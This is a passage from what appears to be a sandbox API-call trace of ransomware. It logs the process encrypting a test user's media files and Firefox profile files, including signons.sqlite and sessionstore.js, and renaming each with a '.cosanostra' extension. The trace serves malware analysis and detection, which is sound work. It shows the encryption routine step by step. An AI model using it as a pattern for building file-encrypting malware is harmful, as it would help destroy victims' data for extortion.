| out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f284*=0x30, lpOverlapped=0x0) returned 1 [0098.364] CloseHandle (hObject=0x138) returned 1 [0098.364] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rrejnf YJgVp7gx.rtf.cosanostra") returned 80 [0098.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rrejnf YJgVp7gx.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rrejnf yjgvp7gx.rtf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rrejnf YJgVp7gx.rtf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rrejnf yjgvp7gx.rtf.cosanostra")) returned 1 [0098.365] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2c0 | out: pbBuffer=0x251f2c0) returned 1 [0098.365] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2b8*=0x30) returned 1 [0098.365] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rbFFVVBvU07QQMZ_MDaz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rbffvvbvu07qqmz_mdaz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.365] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rbFFVVBvU07QQMZ_MDaz.flv") returned 74 [0098.365] StrStrW (lpFirst="rbFFVVBvU07QQMZ_MDaz.flv", lpSrch=".txt") returned 0x0 [0098.366] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.366] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f27c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f27c*=0x2800, lpOverlapped=0x0) returned 1 [0098.366] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.366] WriteFile (in: hFile=0x138, lpBuffer=0x251f2bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f27c, lpOverlapped=0x0 | out: lpBuffer=0x251f2bc*, lpNumberOfBytesWritten=0x251f27c*=0x4, lpOverlapped=0x0) returned 1 [0098.366] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f27c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f27c*=0x30, lpOverlapped=0x0) returned 1 [0098.366] CloseHandle (hObject=0x138) returned 1 [0098.366] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rbFFVVBvU07QQMZ_MDaz.flv.cosanostra") returned 85 [0098.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rbFFVVBvU07QQMZ_MDaz.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rbffvvbvu07qqmz_mdaz.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rbFFVVBvU07QQMZ_MDaz.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\rbffvvbvu07qqmz_mdaz.flv.cosanostra")) returned 1 [0098.367] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2c0 | out: pbBuffer=0x251f2c0) returned 1 [0098.367] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2b8*=0x30) returned 1 [0098.368] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PeGxwQE6NORRCGq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pegxwqe6norrcgq.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.368] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PeGxwQE6NORRCGq.avi") returned 69 [0098.368] StrStrW (lpFirst="PeGxwQE6NORRCGq.avi", lpSrch=".txt") returned 0x0 [0098.369] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.369] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f27c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f27c*=0x2800, lpOverlapped=0x0) returned 1 [0098.369] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.369] WriteFile (in: hFile=0x138, lpBuffer=0x251f2bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f27c, lpOverlapped=0x0 | out: lpBuffer=0x251f2bc*, lpNumberOfBytesWritten=0x251f27c*=0x4, lpOverlapped=0x0) returned 1 [0098.369] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f27c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f27c*=0x30, lpOverlapped=0x0) returned 1 [0098.369] CloseHandle (hObject=0x138) returned 1 [0098.369] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PeGxwQE6NORRCGq.avi.cosanostra") returned 80 [0098.369] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PeGxwQE6NORRCGq.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pegxwqe6norrcgq.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PeGxwQE6NORRCGq.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pegxwqe6norrcgq.avi.cosanostra")) returned 1 [0098.370] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2b8 | out: pbBuffer=0x251f2b8) returned 1 [0098.370] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f2b0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f2b0*=0x30) returned 1 [0098.370] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NOjbBY.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nojbby.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.371] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NOjbBY.avi") returned 60 [0098.371] StrStrW (lpFirst="NOjbBY.avi", lpSrch=".txt") returned 0x0 [0098.372] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.372] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f274, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f274*=0x2800, lpOverlapped=0x0) returned 1 [0098.372] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.372] WriteFile (in: hFile=0x138, lpBuffer=0x251f2b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f274, lpOverlapped=0x0 | out: lpBuffer=0x251f2b4*, lpNumberOfBytesWritten=0x251f274*=0x4, lpOverlapped=0x0) returned 1 [0098.372] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f274, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f274*=0x30, lpOverlapped=0x0) returned 1 [0098.372] CloseHandle (hObject=0x138) returned 1 [0098.372] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NOjbBY.avi.cosanostra") returned 71 [0098.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NOjbBY.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nojbby.avi"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NOjbBY.avi.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nojbby.avi.cosanostra")) returned 1 [0098.969] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2b0 | out: pbBuffer=0x251f2b0) returned 1 [0098.969] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f2a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f2a8*=0x30) returned 1 [0098.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\webapps.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webapps\\webapps.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.970] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\webapps.json") returned 112 [0098.970] StrStrW (lpFirst="webapps.json", lpSrch=".txt") returned 0x0 [0098.971] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffffe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.971] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x251f26c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f26c*=0x2, lpOverlapped=0x0) returned 1 [0098.971] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.971] WriteFile (in: hFile=0x180, lpBuffer=0x251f2ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f26c, lpOverlapped=0x0 | out: lpBuffer=0x251f2ac*, lpNumberOfBytesWritten=0x251f26c*=0x4, lpOverlapped=0x0) returned 1 [0098.971] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f26c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f26c*=0x30, lpOverlapped=0x0) returned 1 [0098.971] CloseHandle (hObject=0x180) returned 1 [0098.972] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\webapps.json.cosanostra") returned 123 [0098.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\webapps.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webapps\\webapps.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\webapps\\webapps.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\webapps\\webapps.json.cosanostra")) returned 1 [0098.973] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2a8 | out: pbBuffer=0x251f2a8) returned 1 [0098.973] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f2a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f2a0*=0x30) returned 1 [0098.973] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\times.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\times.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.974] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\times.json") returned 102 [0098.974] StrStrW (lpFirst="times.json", lpSrch=".txt") returned 0x0 [0098.975] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffe3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.975] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x251f264, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f264*=0x1d, lpOverlapped=0x0) returned 1 [0098.975] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.975] WriteFile (in: hFile=0x180, lpBuffer=0x251f2a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f264, lpOverlapped=0x0 | out: lpBuffer=0x251f2a4*, lpNumberOfBytesWritten=0x251f264*=0x4, lpOverlapped=0x0) returned 1 [0098.975] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f264, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f264*=0x30, lpOverlapped=0x0) returned 1 [0098.975] CloseHandle (hObject=0x180) returned 1 [0098.975] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\times.json.cosanostra") returned 113 [0098.975] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\times.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\times.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\times.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\times.json.cosanostra")) returned 1 [0098.976] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2a8 | out: pbBuffer=0x251f2a8) returned 1 [0098.976] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f2a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f2a0*=0x30) returned 1 [0098.976] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.977] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite") returned 106 [0098.977] StrStrW (lpFirst="signons.sqlite", lpSrch=".txt") returned 0x0 [0098.979] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.979] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f264, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f264*=0x2800, lpOverlapped=0x0) returned 1 [0098.979] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.979] WriteFile (in: hFile=0x180, lpBuffer=0x251f2a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f264, lpOverlapped=0x0 | out: lpBuffer=0x251f2a4*, lpNumberOfBytesWritten=0x251f264*=0x4, lpOverlapped=0x0) returned 1 [0098.980] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f264, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f264*=0x30, lpOverlapped=0x0) returned 1 [0098.980] CloseHandle (hObject=0x180) returned 1 [0098.980] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite.cosanostra") returned 117 [0098.980] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite.cosanostra")) returned 1 [0098.981] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2a0 | out: pbBuffer=0x251f2a0) returned 1 [0098.981] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f298*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f298*=0x30) returned 1 [0098.981] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.982] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js") returned 107 [0098.982] StrStrW (lpFirst="sessionstore.js", lpSrch=".txt") returned 0x0 [0098.984] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff43b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.984] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0xbc5, lpNumberOfBytesWritten=0x251f25c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f25c*=0xbc5, lpOverlapped=0x0) returned 1 [0098.984] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.984] WriteFile (in: hFile=0x180, lpBuffer=0x251f29c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f25c, lpOverlapped=0x0 | out: lpBuffer=0x251f29c*, lpNumberOfBytesWritten=0x251f25c*=0x4, lpOverlapped=0x0) returned 1 [0098.984] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f25c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f25c*=0x30, lpOverlapped=0x0) returned 1 [0098.984] CloseHandle (hObject=0x180) returned 1 [0098.984] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js.cosanostra") returned 118 [0098.984] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.js.cosanostra")) returned 1 [0098.993] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f2a0 | out: pbBuffer=0x251f2a0) returned 1 [0098.993] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f298*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f298*=0x30) returned 1 [0098.993] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.994] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak") returned 108 [0098.994] StrStrW (lpFirst="sessionstore.bak", lpSrch=".txt") returned 0x0 [0098.996] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffc2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.996] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x3d6, lpNumberOfBytesWritten=0x251f25c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f25c*=0x3d6, lpOverlapped=0x0) returned 1 [0098.996] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.996] WriteFile (in: hFile=0x180, lpBuffer=0x251f29c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f25c, lpOverlapped=0x0 | out: lpBuffer=0x251f29c*, lpNumberOfBytesWritten=0x251f25c*=0x4, lpOverlapped=0x0) returned 1 [0098.996] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f25c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251f25c*=0x30, lpOverlapped=0x0) returned 1 [0098.996] CloseHandle (hObject=0x180) returned 1 [0098.996] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak.cosanostra") returned 119 [0098.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak.cosanostra")) returned 1 [0098.997] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f298 | out: pbBuffer=0x251f298) returned 1 [0098.997] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251f290*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251f290*=0x30) returned 1 [0098.997] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0098.998] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS 